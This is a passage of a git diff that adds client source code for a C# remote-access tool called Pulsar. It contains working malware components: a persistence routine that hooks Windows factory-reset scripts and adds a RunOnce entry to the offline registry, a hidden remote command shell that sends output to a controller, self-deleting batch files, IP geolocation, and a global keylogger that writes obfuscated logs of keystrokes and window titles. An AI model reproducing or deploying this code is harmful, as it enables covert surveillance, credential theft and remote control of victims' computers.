\" %%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%A\r\n\r\nreg load HKLM\\" + randomString + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + randomString + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + randomString + " /t REG_SZ /d \"" + str + "\"\r\n\r\nreg unload HKLM\\" + randomString + "\r\n"; + } + + private static bool BackupCurrentConfig( + string basicResetFileName, + string factoryResetFileName, + string[] additionalDeletes = null) + { + List contents = new List() + { + basicResetFileName, + factoryResetFileName + }; + if (additionalDeletes != null) + contents.AddRange(additionalDeletes); + try + { + File.WriteAllLines(Path.Combine(OEMDataBackupPath, "DELETEME"), contents); + } + catch + { + return false; + } + if (File.Exists(ResetConfigPath)) + { + try + { + File.Copy(ResetConfigPath, Path.Combine(OEMDataBackupPath, "configBackup"), true); + } + catch + { + return false; + } + } + return true; + } + + private static void CreateOrUpdateResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + if (!File.Exists(ResetConfigPath)) + CreateNewResetConfig(basicResetFileName, factoryResetFileName, payload); + else + UpdateExistingResetConfig(basicResetFileName, factoryResetFileName, payload); + } + + private static void CreateNewResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + new XDocument(new XDeclaration("1.0", "utf-8", null), new object[1] + { + new XElement((XName) "Reset", new object[2] + { + CreateRunElement("BasicReset_AfterImageApply", basicResetFileName, 1), + CreateRunElement("FactoryReset_AfterImageApply", factoryResetFileName, 1) + }) + }).Save(ResetConfigPath); + SaveScriptFile(basicResetFileName, payload); + SaveScriptFile(factoryResetFileName, payload); + } + + private static void UpdateExistingResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + XElement resetConfig = XElement.Load(ResetConfigPath); + XElement[] array = resetConfig.Elements((XName)"Run").Where(e => (string)e.Attribute((XName)"Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute((XName)"Phase") == "BasicReset_AfterImageApply").ToArray(); + int duration = array.Max(e => (int)e.Element((XName)"Duration")); + string additionalCommand1 = UpdatePhase(array, "BasicReset_AfterImageApply", basicResetFileName); + string additionalCommand2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryResetFileName); + if (additionalCommand1 == null) + AddNewPhase(resetConfig, "BasicReset_AfterImageApply", basicResetFileName, duration); + if (additionalCommand2 == null) + AddNewPhase(resetConfig, "FactoryReset_AfterImageApply", factoryResetFileName, duration); + SaveScriptFile(basicResetFileName, payload, additionalCommand1); + SaveScriptFile(factoryResetFileName, payload, additionalCommand2); + resetConfig.Save(ResetConfigPath); + } + + private static XElement CreateRunElement(string phase, string path, int duration) + { + return new XElement((XName)"Run", new object[3] + { + new XAttribute((XName) "Phase", phase), + new XElement((XName) "Path", path), + new XElement((XName) "Duration", duration) + }); + } + + private static string UpdatePhase(XElement[] phases, string phaseName, string fileName) + { + XElement xelement = phases.FirstOrDefault(p => (string)p.Attribute((XName)"Phase") == phaseName); + if (xelement == null) + return null; + string str1 = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xelement.Element((XName)"Path"); + string str2 = (string)xelement.Element((XName)"Param") ?? string.Empty; + xelement.Element((XName)"Param")?.Remove(); + xelement.Element((XName)"Path").Value = fileName; + return "\"" + str1 + "\" " + str2; + } + + private static void AddNewPhase( + XElement resetConfig, + string phaseName, + string fileName, + int duration) + { + XElement runElement = CreateRunElement(phaseName, fileName, duration); + resetConfig.Add(runElement); + } + + private static void SaveScriptFile(string fileName, string payload, string additionalCommand = null) + { + string contents = payload; + if (!string.IsNullOrEmpty(additionalCommand)) + contents += additionalCommand; + try + { + File.WriteAllText(Path.Combine(OEMPath, fileName), contents); + Debug.WriteLine("Wrote Stuff"); + } + catch + { + Debug.WriteLine("Error writing: " + fileName); + } + } + + public static void Uninstall() + { + if (!Directory.Exists(OEMDataBackupPath)) + { + Debug.WriteLine("Not Installed"); + return; + } + + Debug.WriteLine("Uninstalling Reset Persistence"); + _Uninstall(); + Debug.WriteLine("Uninstalled Reset Persistence"); + } + + private static void _Uninstall() + { + try + { + Directory.Delete(OEMPath, true); + } + catch (Exception ex) + { + Debug.WriteLine("Error restoring config file: " + ex.Message); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/IO/.DS_Store b/Pulsar.Client/IO/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile + { + /// + /// Creates the uninstall batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateUninstallBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "timeout /T 5 /NOBREAK > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "del \"%~f0\" /a /f /q >nul 2>&1 & exit"; + + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the update batch file. + /// + /// The current file path of the client. + /// The new file path of the client. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. + public static string CreateUpdateBatch(string currentFilePath, string newFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "timeout /T 5 /NOBREAK > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del \"%~f0\" /a /f /q >nul 2>&1 & exit"; + + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the restart batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateRestartBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "timeout /T 5 /NOBREAK > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del \"%~f0\" /a /f /q >nul 2>&1 & exit"; + + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + + return batchFile; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/IO/Shell.cs b/Pulsar.Client/IO/Shell.cs new file mode 100644 index 0000000..1b3cf12 --- /dev/null +++ b/Pulsar.Client/IO/Shell.cs @@ -0,0 +1,333 @@ +ο»Ώusing Pulsar.Client.Networking; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.RemoteShell; +using System; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Threading; + +namespace Pulsar.Client.IO +{ + /// + /// This class manages a remote shell session. + /// + public class Shell : IDisposable + { + /// + /// The process of the command-line (cmd). + /// + private Process _prc; + + /// + /// Decides if we should still read from the output. + /// + /// Detects unexpected closing of the shell. + /// + /// + private bool _read; + + /// + /// The lock object for the read variable. + /// + private readonly object _readLock = new object(); + + /// + /// The lock object for the StreamReader. + /// + private readonly object _readStreamLock = new object(); + + /// + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + + /// + /// The client to sends responses to. + /// + private readonly PulsarClient _client; + + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. + public Shell(PulsarClient client) + { + _client = client; + } + + /// + /// Creates a new session of the shell. + /// + private void CreateSession() + { + lock (_readLock) + { + _read = true; + } + + var cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); + + _prc = new Process + { + StartInfo = new ProcessStartInfo("cmd") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, + WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), + Arguments = $"/K CHCP {_encoding.CodePage}" + } + }; + _prc.Start(); + + RedirectIO(); + + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> New Session created\n" + }); + } + + /// + /// Starts the redirection of input and output. + /// + private void RedirectIO() + { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + new Thread(RedirectStandardOutput).Start(); + new Thread(RedirectStandardError).Start(); + } + + /// + /// Reads the output from the stream. + /// + /// The first read char. + /// The StreamReader to read from. + /// True if reading from the error-stream, else False. + private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) + { + lock (_readStreamLock) + { + var streamBuffer = new StringBuilder(); + + streamBuffer.Append((char)firstCharRead); + + // While there are more characters to be read + while (streamReader.Peek() > -1) + { + // Read the character in the queue + var ch = streamReader.Read(); + + // Accumulate the characters read in the stream buffer + streamBuffer.Append((char)ch); + + if (ch == '\n') + SendAndFlushBuffer(ref streamBuffer, isError); + } + // Flush any remaining text in the buffer + SendAndFlushBuffer(ref streamBuffer, isError); + } + } + + /// + /// Sends the read output to the Client. + /// + /// Contains the contents of the output. + /// True if reading from the error-stream, else False. + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) + { + if (textBuffer.Length == 0) return; + + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); + + if (string.IsNullOrEmpty(toSend)) return; + + _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); + + textBuffer.Clear(); + } + + /// + /// Reads from the standard output-stream. + /// + private void RedirectStandardOutput() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) + { + ReadStream(ch, _prc.StandardOutput, false); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Reads from the standard error-stream. + /// + private void RedirectStandardError() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) + { + ReadStream(ch, _prc.StandardError, true); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Executes a shell command. + /// + /// The command to execute. + /// False if execution failed, else True. + public bool ExecuteCommand(string command) + { + if (_prc == null || _prc.HasExited) + { + try + { + CreateSession(); + } + catch (Exception ex) + { + _client.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } + } + + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); + _inputWriter.Flush(); + + return true; + } + + /// + /// Converts the encoding of an input string to UTF-8 format. + /// + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) + { + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); + } + + /// + /// Releases all resources used by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_readLock) + { + _read = false; + } + + if (_prc == null) + return; + + if (!_prc.HasExited) + { + try + { + _prc.Kill(); + } + catch + { + } + } + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + + _prc.Dispose(); + _prc = null; + } + } + } +} diff --git a/Pulsar.Client/IpGeoLocation/.DS_Store b/Pulsar.Client/IpGeoLocation/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100644 index 0000000..d170951 --- /dev/null +++ b/Pulsar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,174 @@ +using Pulsar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; + +namespace Pulsar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP + }; + + return g; + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Pulsar.Client/IpGeoLocation/GeoResponse.cs b/Pulsar.Client/IpGeoLocation/GeoResponse.cs new file mode 100644 index 0000000..9731cef --- /dev/null +++ b/Pulsar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,45 @@ +using System.Runtime.Serialization; + +namespace Pulsar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name = "ip")] + public string Ip { get; set; } + + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } + + [DataMember(Name = "country")] + public string Country { get; set; } + + [DataMember(Name = "country_code")] + public string CountryCode { get; set; } + + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } + + [DataMember(Name = "connection")] + public Conn Connection { get; set; } + + } + + + + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } + + [DataMember(Name = "isp")] + public string ISP { get; set; } + } +} diff --git a/Pulsar.Client/Logging/Keylogger.cs b/Pulsar.Client/Logging/Keylogger.cs new file mode 100644 index 0000000..a53dc35 --- /dev/null +++ b/Pulsar.Client/Logging/Keylogger.cs @@ -0,0 +1,272 @@ +ο»Ώusing Gma.System.MouseKeyHook; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Timers; +using System.Windows.Forms; +using Timer = System.Timers.Timer; + +namespace Pulsar.Client.Logging +{ + public class Keylogger : IDisposable + { + private readonly long _maxLogFileSize; + private readonly Timer _flushTimer; + private readonly object _syncLock = new object(); + private readonly StringBuilder _currentBuffer = new StringBuilder(); + private readonly IKeyboardMouseEvents _events; + + private string _currentWindow = string.Empty; + private DateTime _lastWindowChange = DateTime.UtcNow; + private string _logFilePath; + private bool _isFirstWrite = true; + private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1); + public bool IsDisposed { get; private set; } + + public Keylogger(double flushInterval, long maxLogFileSize) + { + _maxLogFileSize = maxLogFileSize; + _events = Hook.GlobalEvents(); + _logFilePath = GetLogFilePath(); + + _flushTimer = new Timer(flushInterval); + _flushTimer.Elapsed += TimerElapsed; + _flushTimer.AutoReset = true; + } + + public void Start() + { + Subscribe(); + _flushTimer.Start(); + } + + private void Subscribe() + { + _events.KeyDown += OnKeyDown; + _events.KeyPress += OnKeyPress; + } + + private void Unsubscribe() + { + _events.KeyDown -= OnKeyDown; + _events.KeyPress -= OnKeyPress; + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window"; + + lock (_syncLock) + { + bool windowChanged = newWindow != _currentWindow; + bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold; + + // Check if window changed significantly + if (windowChanged && enoughTimePassed) + { + _currentWindow = newWindow; + _lastWindowChange = DateTime.UtcNow; + + // Start a fresh line for the new window + if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine)) + _currentBuffer.AppendLine(); + + // Append window header cleanly + _currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}"); + } + + HandleSpecialKey(e); + } + } + + private void HandleSpecialKey(KeyEventArgs e) + { + switch (e.KeyCode) + { + case Keys.Enter: + _currentBuffer.AppendLine(); + break; + case Keys.Back: + HandleBackspace(); + break; + case Keys.Space: + _currentBuffer.Append(' '); + break; + case Keys.Tab: + _currentBuffer.Append("\t"); + break; + case Keys.Escape: + _currentBuffer.Append("[Esc]"); + break; + case Keys.Delete: + _currentBuffer.Append("[Del]"); + break; + case Keys.Up: + case Keys.Down: + case Keys.Left: + case Keys.Right: + // Ignore arrow keys to reduce noise + break; + case Keys.LControlKey: + case Keys.RControlKey: + case Keys.LShiftKey: + case Keys.RShiftKey: + case Keys.LMenu: + case Keys.RMenu: + case Keys.LWin: + case Keys.RWin: + // Ignore modifier keys alone + break; + default: + // Log function keys + if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24) + { + _currentBuffer.Append($"[{e.KeyCode}]"); + } + break; + } + } + + private void HandleBackspace() + { + if (_currentBuffer.Length > 0) + { + // Remove last character if it's not part of a window header + char lastChar = _currentBuffer[_currentBuffer.Length - 1]; + if (lastChar != '\n' && lastChar != '\r' && lastChar != ']') + { + _currentBuffer.Length--; + } + } + } + + private void OnKeyPress(object sender, KeyPressEventArgs e) + { + lock (_syncLock) + { + if (!char.IsControl(e.KeyChar)) + _currentBuffer.Append(e.KeyChar); + else if (e.KeyChar == '\r') // Enter key + _currentBuffer.AppendLine(); + } + } + + private void TimerElapsed(object sender, ElapsedEventArgs e) + { + try + { + FlushToFile(); + } + catch (Exception ex) + { + Debug.WriteLine($"Keylogger flush error: {ex.Message}"); + } + } + + private void FlushToFile() + { + lock (_syncLock) + { + if (_currentBuffer.Length == 0) return; + + string contentToWrite = _currentBuffer.ToString(); + _currentBuffer.Clear(); + + WriteToFile(contentToWrite); + } + } + + private void WriteToFile(string content) + { + if (string.IsNullOrWhiteSpace(content)) return; + + try + { + // Write using the obfuscated log helper (handles compression + framing) + FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine); + + // Check file size + FileInfo info = new FileInfo(_logFilePath); + if (info.Length > _maxLogFileSize) + { + RotateLogFile(); + } + + _isFirstWrite = false; // mark that we’ve written at least once + } + catch (Exception ex) + { + Debug.WriteLine($"Log file write error: {ex.Message}"); + } + } + + private void RotateLogFile() + { + try + { + string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd"); + string basePath = Path.Combine(Path.GetTempPath(), baseName); + string newFilePath = basePath + ".txt"; + + int counter = 1; + while (File.Exists(newFilePath)) + { + newFilePath = $"{basePath}_{counter:00}.txt"; + counter++; + } + + _logFilePath = newFilePath; + _isFirstWrite = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Log rotation error: {ex.Message}"); + } + } + + private string GetLogFilePath() + { + return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt"); + } + + public void FlushImmediately() + { + FlushToFile(); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) return; + + if (disposing) + { + try + { + FlushToFile(); + Unsubscribe(); + _flushTimer.Stop(); + _flushTimer.Dispose(); + _events.Dispose(); + _currentBuffer.Clear(); + } + catch (Exception ex) + { + Debug.WriteLine($"Dispose error: {ex.Message}"); + } + } + + IsDisposed = true; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Logging/KeyloggerService.cs b/Pulsar.Client/Logging/KeyloggerService.cs new file mode 100644 index 0000000..3fd7fca --- /dev/null +++ b/Pulsar.Client/Logging/KeyloggerService.cs @@ -0,0 +1,289 @@ +ο»Ώusing System; +using System.ComponentModel; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Logging +{ + /// + /// Provides a service to run the keylogger within its own message loop. + /// + public class KeyloggerService : IDisposable + { + private readonly Thread _msgLoopThread; + private ApplicationContext _msgLoop; + private Keylogger _keylogger; + private readonly ManualResetEventSlim _initialized = new ManualResetEventSlim(false); + private readonly ManualResetEventSlim _shutdownComplete = new ManualResetEventSlim(false); + private readonly CancellationTokenSource _cancellationTokenSource = new CancellationTokenSource(); + private bool _disposed; + private volatile bool _isRunning; + + public KeyloggerService() + { + _msgLoopThread = new Thread(MessageLoopThread) + { + IsBackground = true, + Name = "Keylogger Message Loop Thread", + Priority = ThreadPriority.BelowNormal // Reduce impact on system + }; + } + + /// + /// Gets whether the keylogger service is currently running. + /// + public bool IsRunning => _isRunning && !_disposed; + + /// + /// Event raised when the keylogger service encounters an error. + /// + public event EventHandler ErrorOccurred; + + /// + /// Event raised when the keylogger service starts successfully. + /// + public event EventHandler Started; + + /// + /// Event raised when the keylogger service stops. + /// + public event EventHandler Stopped; + + private void MessageLoopThread() + { + var threadId = Thread.CurrentThread.ManagedThreadId; + + try + { + // Set up the message loop + SynchronizationContext.SetSynchronizationContext(new WindowsFormsSynchronizationContext()); + + _msgLoop = new ApplicationContext(); + + // OPTIMIZED: 3-second flush for live viewing + 10MB file size + _keylogger = new Keylogger(6000, 10 * 1024 * 1024); + + _keylogger.Start(); + _isRunning = true; + _initialized.Set(); + + // Notify start + OnStarted(); + + // Run the message loop with cancellation support + RunMessageLoopWithCancellation(); + + _isRunning = false; + OnStopped(); + } + catch (Exception ex) + { + _isRunning = false; + OnErrorOccurred(ex); + } + finally + { + _shutdownComplete.Set(); + } + } + + private void RunMessageLoopWithCancellation() + { + while (!_cancellationTokenSource.Token.IsCancellationRequested) + { + // Process all Windows messages in the queue + Application.DoEvents(); + + // OPTIMIZED: 25ms sleep for better CPU usage + //Thread.Sleep(25); + } + + // Properly exit the application context + _msgLoop?.ExitThread(); + } + /// + /// Starts the keylogger service and waits until it's ready. + /// + /// Timeout in milliseconds to wait for initialization + /// True if started successfully, false if timed out + public bool Start(int timeoutMs = 10000) + { + if (_disposed) + throw new ObjectDisposedException(nameof(KeyloggerService)); + + if (_isRunning) + return true; + + if (!_msgLoopThread.IsAlive) + { + _msgLoopThread.Start(); + + if (_initialized.Wait(timeoutMs)) + { + return _isRunning; + } + else + { + throw new TimeoutException("Keylogger service failed to initialize within the specified timeout."); + } + } + + return _isRunning; + } + + /// + /// Starts the keylogger service asynchronously. + /// + public async Task StartAsync(int timeoutMs = 10000) + { + return await Task.Run(() => Start(timeoutMs)); + } + + /// + /// Stops the keylogger service. + /// + /// Timeout in milliseconds to wait for shutdown + /// True if stopped successfully, false if timed out + public bool Stop(int timeoutMs = 5000) + { + if (_disposed || !_isRunning) + return true; + + try + { + _cancellationTokenSource.Cancel(); + + // Signal the message loop to exit + _msgLoop?.ExitThread(); + + if (_shutdownComplete.Wait(timeoutMs)) + { + return true; + } + else + { + OnErrorOccurred(new TimeoutException("Keylogger service failed to stop within the specified timeout.")); + return false; + } + } + catch (Exception ex) + { + OnErrorOccurred(ex); + return false; + } + } + + /// + /// Forces an immediate flush of the keylogger buffer. + /// + public void Flush() + { + if (_isRunning && _keylogger != null) + { + try + { + // Use Invoke if we're on a different thread + if (_msgLoop != null && _msgLoop.MainForm != null && !_msgLoop.MainForm.InvokeRequired) + { + _keylogger.FlushImmediately(); + } + else + { + _msgLoop?.MainForm?.Invoke((MethodInvoker)(() => 